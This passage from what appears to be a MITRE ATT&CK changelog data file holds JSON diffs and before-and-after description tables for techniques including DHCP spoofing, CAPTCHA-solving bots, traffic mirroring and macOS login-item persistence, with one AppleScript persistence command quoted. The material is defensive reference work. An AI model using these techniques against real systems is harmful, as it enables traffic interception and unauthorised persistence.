their rogue DHCP server to respond to this request message with malicious network configurations.\\n+DHCPv6 clients can receive network configuration information without being assigned an IP address by sending an INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\\n \\n-Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \\n+Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e., [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"dhcp_serv_op_events\", \"description\": \"Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022.\", \"url\": \"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)\"}, \"root['external_references'][5]\": {\"source_name\": \"solution_monitor_dhcp_scopes\", \"description\": \"Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.\", \"url\": \"https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may redirect network traffic to adversary-owned | t | 1 | Adversaries may redirect network traffic to adversary-owned |
| > | systems by spoofing Dynamic Host Configuration Protocol (DHC | > | systems by spoofing Dynamic Host Configuration Protocol (DHC | ||
| > | P) traffic and acting as a malicious DHCP server on the vict | > | P) traffic and acting as a malicious DHCP server on the vict | ||
| > | im network. By achieving the adversary-in-the-middle (AiTM) | > | im network. By achieving the adversary-in-the-middle (AiTM) | ||
| > | position, adversaries may collect network communications, in | > | position, adversaries may collect network communications, in | ||
| > | cluding passed credentials, especially those sent over insec | > | cluding passed credentials, especially those sent over insec | ||
| > | ure, unencrypted protocols. This may also enable follow-on b | > | ure, unencrypted protocols. This may also enable follow-on b | ||
| > | ehaviors such as [Network Sniffing](https://attack.mitre.org | > | ehaviors such as [Network Sniffing](https://attack.mitre.org | ||
| > | /techniques/T1040) or [Transmitted Data Manipulation](https: | > | /techniques/T1040) or [Transmitted Data Manipulation](https: | ||
| > | //attack.mitre.org/techniques/T1565/002). DHCP is based on | > | //attack.mitre.org/techniques/T1565/002). DHCP is based on | ||
| > | a client-server model and has two functionalities: a protoco | > | a client-server model and has two functionalities: a protoco | ||
| > | l for providing network configuration settings from a DHCP s | > | l for providing network configuration settings from a DHCP s | ||
| > | erver to a client and a mechanism for allocating network add | > | erver to a client and a mechanism for allocating network add | ||
| > | resses to clients.(Citation: rfc2131) The typical server-cli | > | resses to clients.(Citation: rfc2131) The typical server-cli | ||
| > | ent interaction is as follows: 1. The client broadcasts a | > | ent interaction is as follows: 1. The client broadcasts a | ||
| > | `DISCOVER` message. 2. The server responds with an `OFFER` | > | `DISCOVER` message. 2. The server responds with an `OFFER` | ||
| > | message, which includes an available network address. 3. T | > | message, which includes an available network address. 3. T | ||
| > | he client broadcasts a `REQUEST` message, which includes the | > | he client broadcasts a `REQUEST` message, which includes the | ||
| > | network address offered. 4. The server acknowledges with | > | network address offered. 4. The server acknowledges with | ||
| > | an `ACK` message and the client receives the network configu | > | an `ACK` message and the client receives the network configu | ||
| > | ration parameters. Adversaries may spoof as a rogue DHCP se | > | ration parameters. Adversaries may spoof as a rogue DHCP se | ||
| > | rver on the victim network, from which legitimate hosts may | > | rver on the victim network, from which legitimate hosts may | ||
| > | receive malicious network configurations. For example, malwa | > | receive malicious network configurations. For example, malwa | ||
| > | re can act as a DHCP server and provide adversary-owned DNS | > | re can act as a DHCP server and provide adversary-owned DNS | ||
| > | servers to the victimized computers.(Citation: new_rogue_DHC | > | servers to the victimized computers.(Citation: new_rogue_DHC | ||
| > | P_serv_malware)(Citation: w32.tidserv.g) Through the malicio | > | P_serv_malware)(Citation: w32.tidserv.g) Through the malicio | ||
| > | us network configurations, an adversary may achieve the AiTM | > | us network configurations, an adversary may achieve the AiTM | ||
| > | position, route client traffic through adversary-controlled | > | position, route client traffic through adversary-controlled | ||
| > | systems, and collect information from the client network. | > | systems, and collect information from the client network. | ||
| > | DHCPv6 clients can receive network configuration information | > | DHCPv6 clients can receive network configuration information | ||
| > | without being assigned an IP address by sending a <code>INF | > | without being assigned an IP address by sending an <code>IN | ||
| > | ORMATION-REQUEST (code 11)</code> message to the <code>All_D | > | FORMATION-REQUEST (code 11)</code> message to the <code>All_ | ||
| > | HCP_Relay_Agents_and_Servers</code> multicast address.(Citat | > | DHCP_Relay_Agents_and_Servers</code> multicast address.(Cita | ||
| > | ion: rfc3315) Adversaries may use their rogue DHCP server to | > | tion: rfc3315) Adversaries may use their rogue DHCP server t | ||
| > | respond to this request message with malicious network conf | > | o respond to this request message with malicious network con | ||
| > | igurations. Rather than establishing an AiTM position, adve | > | figurations. Rather than establishing an AiTM position, adv | ||
| > | rsaries may also abuse DHCP spoofing to perform a DHCP exhau | > | ersaries may also abuse DHCP spoofing to perform a DHCP exha | ||
| > | stion attack (i.e, [Service Exhaustion Flood](https://attack | > | ustion attack (i.e., [Service Exhaustion Flood](https://atta | ||
| > | .mitre.org/techniques/T1499/002)) by generating many broadca | > | ck.mitre.org/techniques/T1499/002)) by generating many broad | ||
| > | st DISCOVER messages to exhaust a network\u2019s DHCP allocation | > | cast DISCOVER messages to exhaust a network\u2019s DHCP allocatio | ||
| > | pool. | > | n pool. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to use bots to successfully solve CA | t | 1 | Adversaries may attempt to use bots to successfully solve CA |
| > | PTCHA challenges. CAPTCHA challenges are typically used by d | > | PTCHA challenges. CAPTCHA challenges are typically used by d | ||
| > | efenders to detect and prevent bot and spam traffic from acc | > | efenders to detect and prevent bot and spam traffic from acc | ||
| > | essing protected webpages. CAPTCHAs are automated tests ofte | > | essing protected webpages. CAPTCHAs are automated tests ofte | ||
| > | n placed before login screens or form fields. Traditional CA | > | n placed before login screens or form fields. Traditional CA | ||
| > | PTCHAs ask the user to decipher a string of characters, type | > | PTCHAs ask the user to decipher a string of characters, type | ||
| > | the characters into a box, and submit the form. reCAPTCHA a | > | the characters into a box, and submit the form. reCAPTCHA a | ||
| > | sks the user to identify images, click a checkbox, or evalua | > | sks the user to identify images, click a checkbox, or evalua | ||
| > | te the user\u2019s behavior from mouse movement and device cookie | > | te the user\u2019s behavior from mouse movement and device cookie | ||
| > | s.(Citation: CAPTCHAS Cloudflare) Adversaries may use scri | > | s.(Citation: CAPTCHAS Cloudflare) Adversaries may use scri | ||
| > | pts or toolkits to automatically solve the CAPTCHA puzzle. F | > | pts or toolkits to automatically solve the CAPTCHA puzzle. F | ||
| > | or example, adversaries may develop a script that uses the I | > | or example, adversaries may develop a script that uses the I | ||
| > | mageMagick toolkit to solve the CAPTCHA puzzles to then crea | > | mageMagick toolkit to solve the CAPTCHA puzzles to then crea | ||
| > | te multiple valid accounts. ImageMagick tool can convert the | > | te multiple valid accounts. ImageMagick tool can convert the | ||
| > | images into a RGB complemented image. The CAPTCHA challenge | > | images into an RGB complemented image. The CAPTCHA challeng | ||
| > | may be solved by identifying and comparing attributes of th | > | e may be solved by identifying and comparing attributes of t | ||
| > | e RGB images to select the expected image.(Citation: Free Tr | > | he RGB images to select the expected image.(Citation: Free T | ||
| > | ial PurpleUrchin) Once the CAPTCHA challenge is solved, the | > | rial PurpleUrchin) Once the CAPTCHA challenge is solved, the | ||
| > | adversary\u2019s script may access the protected page. After acce | > | adversary\u2019s script may access the protected page. After acc | ||
| > | ssing the protected the page, the adversary may submit valid | > | essing the protected the page, the adversary may submit vali | ||
| > | forms to the target. | > | d forms to the target. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of open application | t | 1 | Adversaries may attempt to get a listing of open application |
| > | windows. Window listings could convey information about how | > | windows. Window listings could convey information about how | ||
| > | the system is used.(Citation: Prevailion DarkWatchman 2021) | > | the system is used.(Citation: Prevailion DarkWatchman 2021) | ||
| > | For example, information about application windows could be | > | For example, information about application windows could be | ||
| > | used identify potential data to collect as well as identify | > | used to identify potential data to collect as well as ident | ||
| > | ing security tooling ([Security Software Discovery](https:// | > | ifying security tooling ([Security Software Discovery](https | ||
| > | attack.mitre.org/techniques/T1518/001)) to evade.(Citation: | > | ://attack.mitre.org/techniques/T1518/001)) to evade.(Citatio | ||
| > | ESET Grandoreiro April 2020) Adversaries typically abuse sy | > | n: ESET Grandoreiro April 2020) Adversaries typically abuse | ||
| > | stem features for this type of enumeration. For example, the | > | system features for this type of enumeration. For example, | ||
| > | y may gather information through native system features such | > | they may gather information through native system features s | ||
| > | as [Command and Scripting Interpreter](https://attack.mitre | > | uch as [Command and Scripting Interpreter](https://attack.mi | ||
| > | .org/techniques/T1059) commands and [Native API](https://att | > | tre.org/techniques/T1059) commands and [Native API](https:// | ||
| > | ack.mitre.org/techniques/T1106) functions. | > | attack.mitre.org/techniques/T1106) functions. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may compress or encrypt data that is collected | t | 1 | An adversary may compress or encrypt data that is collected |
| > | prior to exfiltration using 3rd party libraries. Many librar | > | prior to exfiltration using 3rd party libraries. Many librar | ||
| > | ies exist that can archive data, including [Python](https:// | > | ies exist that can archive data, including [Python](https:// | ||
| > | attack.mitre.org/techniques/T1059/006) rarfile (Citation: Py | > | attack.mitre.org/techniques/T1059/006) rarfile,(Citation: Py | ||
| > | PI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib | > | PI RAR) libzip,(Citation: libzip) and zlib.(Citation: Zlib G | ||
| > | Github). Most libraries include functionality to encrypt an | > | ithub) Most libraries include functionality to encrypt and/o | ||
| > | d/or compress data. Some archival libraries are preinstalle | > | r compress data. Some archival libraries are preinstalled o | ||
| > | d on systems, such as bzip2 on macOS and Linux, and zip on W | > | n systems, such as bzip2 on macOS and Linux, and zip on Wind | ||
| > | indows. Note that the libraries are different from the utili | > | ows. Note that the libraries are different from the utilitie | ||
| > | ties. The libraries can be linked against when compiling, wh | > | s. The libraries can be linked against when compiling, while | ||
| > | ile the utilities require spawning a subshell, or a similar | > | the utilities require spawning a subshell, or a similar exe | ||
| > | execution mechanism. | > | cution mechanism. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage traffic mirroring in order to autom | t | 1 | Adversaries may leverage traffic mirroring in order to autom |
| > | ate data exfiltration over compromised infrastructure. Traff | > | ate data exfiltration over compromised infrastructure. Traff | ||
| > | ic mirroring is a native feature for some devices, often use | > | ic mirroring is a native feature for some devices, often use | ||
| > | d for network analysis. For example, devices may be configur | > | d for network analysis. For example, devices may be configur | ||
| > | ed to forward network traffic to one or more destinations fo | > | ed to forward network traffic to one or more destinations fo | ||
| > | r analysis by a network analyzer or other monitoring device. | > | r analysis by a network analyzer or other monitoring device. | ||
| > | (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traff | > | (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffi | ||
| > | ic Mirroring) Adversaries may abuse traffic mirroring to mi | > | c Mirroring) Adversaries may abuse traffic mirroring to mir | ||
| > | rror or redirect network traffic through other infrastructur | > | ror or redirect network traffic through other infrastructure | ||
| > | e they control. Malicious modifications to network devices t | > | they control. Malicious modifications to network devices to | ||
| > | o enable traffic redirection may be possible through [ROMMON | > | enable traffic redirection may be possible through [ROMMONk | ||
| > | kit](https://attack.mitre.org/techniques/T1542/004) or [Patc | > | it](https://attack.mitre.org/techniques/T1542/004) or [Patch | ||
| > | h System Image](https://attack.mitre.org/techniques/T1601/00 | > | System Image](https://attack.mitre.org/techniques/T1601/001 | ||
| > | 1).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy | > | ).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy | ||
| > | Device Attacks) Many cloud-based environments also support | > | Device Attacks) Many cloud-based environments also support | ||
| > | traffic mirroring. For example, AWS Traffic Mirroring, GCP | > | traffic mirroring. For example, AWS Traffic Mirroring, GCP P | ||
| > | Packet Mirroring, and Azure vTap allow users to define speci | > | acket Mirroring, and Azure vTap allow users to define specif | ||
| > | fied instances to collect traffic from and specified targets | > | ied instances to collect traffic from and specified targets | ||
| > | to send collected traffic to.(Citation: AWS Traffic Mirrori | > | to send collected traffic to.(Citation: AWS Traffic Mirrorin | ||
| > | ng)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual | > | g)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual N | ||
| > | Network TAP) Adversaries may use traffic duplication in con | > | etwork TAP) Adversaries may use traffic duplication in conj | ||
| > | junction with [Network Sniffing](https://attack.mitre.org/te | > | unction with [Network Sniffing](https://attack.mitre.org/tec | ||
| > | chniques/T1040), [Input Capture](https://attack.mitre.org/te | > | hniques/T1040), [Input Capture](https://attack.mitre.org/tec | ||
| > | chniques/T1056), or [Adversary-in-the-Middle](https://attack | > | hniques/T1056), or [Adversary-in-the-Middle](https://attack. | ||
| > | .mitre.org/techniques/T1557) depending on the goals and obje | > | mitre.org/techniques/T1557) depending on the goals and objec | ||
| > | ctives of the adversary. | > | tives of the adversary. |
SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple event to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/015",
"external_id": "T1547.015"
},
{
"source_name": "Adding Login Items",
"description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
},
{
"source_name": "Launch Services Apple Developer",
"description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
"url": "https://developer.apple.com/documentation/coreservices/launch_services"
},
{
"source_name": "Login Items AE",
"description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
"url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
},
{
"source_name": "Open Login Items Apple",
"description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
"url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
},
{
"source_name": "hexed osx.dok analysis 2019",
"description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html"
},
{
"source_name": "ELC Running at startup",
"description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
"url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
},
{
"source_name": "Startup Items Eclectic",
"description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
"url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
},
{
"source_name": "Add List Remove Login Items Apple Script",
"description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
"url": "https://gist.github.com/kaloprominat/6111584"
},
{
"source_name": "CheckPoint Dok",
"description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
"url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
},
{
"source_name": "objsee netwire backdoor 2019",
"description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
"url": "https://objective-see.com/blog/blog_0x44.html"
},
{
"source_name": "objsee mac malware 2017",
"description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
"url": "https://objective-see.com/blog/blog_0x25.html"
},
{
"source_name": "SMLoginItemSetEnabled Schroeder 2013",
"description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:56:22.932000+00:00\", \"old_value\": \"2025-10-24 17:49:03.355000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\\n\\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\\n\\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple event to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\", \"old_value\": \"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\\n\\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\\n\\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\\n \\n-Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\\n+Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple event to the \\u201cSystem Events\\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application \\u201cSystem Events\\u201d to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][2]\": {\"source_name\": \"Launch Service Keys Developer Apple\", \"description\": \"Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.\", \"url\": \"https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1\"}, \"root['external_references'][11]\": {\"source_name\": \"objsee block blocking login items\", \"description\": \"Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.\", \"url\": \"https://objective-see.com/blog/blog_0x31.html\"}, \"root['external_references'][14]\": {\"source_name\": \"sentinelone macos persist Jun 2019\", \"description\": \"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.\", \"url\": \"https://www.sentinelone.com/blog/how-malware-persists-on-macos/\"}}}",
"previous_version": "1.1",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may add login items to execute upon user login t | t | 1 | Adversaries may add login items to execute upon user login t |
| > | o gain persistence or escalate privileges. Login items are a | > | o gain persistence or escalate privileges. Login items are a | ||
| > | pplications, documents, folders, or server connections that | > | pplications, documents, folders, or server connections that | ||
| > | are automatically launched when a user logs in.(Citation: Op | > | are automatically launched when a user logs in.(Citation: Op | ||
| > | en Login Items Apple) Login items can be added via a shared | > | en Login Items Apple) Login items can be added via a shared | ||
| > | file list or Service Management Framework.(Citation: Adding | > | file list or Service Management Framework.(Citation: Adding | ||
| > | Login Items) Shared file list login items can be set using s | > | Login Items) Shared file list login items can be set using s | ||
| > | cripting languages such as [AppleScript](https://attack.mitr | > | cripting languages such as [AppleScript](https://attack.mitr | ||
| > | e.org/techniques/T1059/002), whereas the Service Management | > | e.org/techniques/T1059/002), whereas the Service Management | ||
| > | Framework uses the API call <code>SMLoginItemSetEnabled</cod | > | Framework uses the API call <code>SMLoginItemSetEnabled</cod | ||
| > | e>. Login items installed using the Service Management Fram | > | e>. Login items installed using the Service Management Fram | ||
| > | ework leverage <code>launchd</code>, are not visible in the | > | ework leverage <code>launchd</code>, are not visible in the | ||
| > | System Preferences, and can only be removed by the applicati | > | System Preferences, and can only be removed by the applicati | ||
| > | on that created them.(Citation: Adding Login Items)(Citation | > | on that created them.(Citation: Adding Login Items)(Citation | ||
| > | : SMLoginItemSetEnabled Schroeder 2013) Login items created | > | : SMLoginItemSetEnabled Schroeder 2013) Login items created | ||
| > | using a shared file list are visible in System Preferences, | > | using a shared file list are visible in System Preferences, | ||
| > | can hide the application when it launches, and are executed | > | can hide the application when it launches, and are executed | ||
| > | through LaunchServices, not launchd, to open applications, d | > | through LaunchServices, not launchd, to open applications, d | ||
| > | ocuments, or URLs without using Finder.(Citation: Launch Ser | > | ocuments, or URLs without using Finder.(Citation: Launch Ser | ||
| > | vices Apple Developer) Users and applications use login item | > | vices Apple Developer) Users and applications use login item | ||
| > | s to configure their user environment to launch commonly use | > | s to configure their user environment to launch commonly use | ||
| > | d services or applications, such as email, chat, and music a | > | d services or applications, such as email, chat, and music a | ||
| > | pplications. Adversaries can utilize [AppleScript](https:// | > | pplications. Adversaries can utilize [AppleScript](https:// | ||
| > | attack.mitre.org/techniques/T1059/002) and [Native API](http | > | attack.mitre.org/techniques/T1059/002) and [Native API](http | ||
| > | s://attack.mitre.org/techniques/T1106) calls to create a log | > | s://attack.mitre.org/techniques/T1106) calls to create a log | ||
| > | in item to spawn malicious executables.(Citation: ELC Runnin | > | in item to spawn malicious executables.(Citation: ELC Runnin | ||
| > | g at startup) Prior to version 10.5 on macOS, adversaries ca | > | g at startup) Prior to version 10.5 on macOS, adversaries ca | ||
| > | n add login items by using [AppleScript](https://attack.mitr | > | n add login items by using [AppleScript](https://attack.mitr | ||
| > | e.org/techniques/T1059/002) to send an Apple events to the \u201c | > | e.org/techniques/T1059/002) to send an Apple event to the \u201cS | ||
| > | System Events\u201d process, which has an AppleScript dictionary | > | ystem Events\u201d process, which has an AppleScript dictionary f | ||
| > | for manipulating login items.(Citation: Login Items AE) Adve | > | or manipulating login items.(Citation: Login Items AE) Adver | ||
| > | rsaries can use a command such as <code>tell application \u201cSy | > | saries can use a command such as <code>tell application \u201cSys | ||
| > | stem Events\u201d to make login item at end with properties /path | > | tem Events\u201d to make login item at end with properties /path/ | ||
| > | /to/executable</code>.(Citation: Startup Items Eclectic)(Cit | > | to/executable</code>.(Citation: Startup Items Eclectic)(Cita | ||
| > | ation: hexed osx.dok analysis 2019)(Citation: Add List Remov | > | tion: hexed osx.dok analysis 2019)(Citation: Add List Remove | ||
| > | e Login Items Apple Script) This command adds the path of th | > | Login Items Apple Script) This command adds the path of the | ||
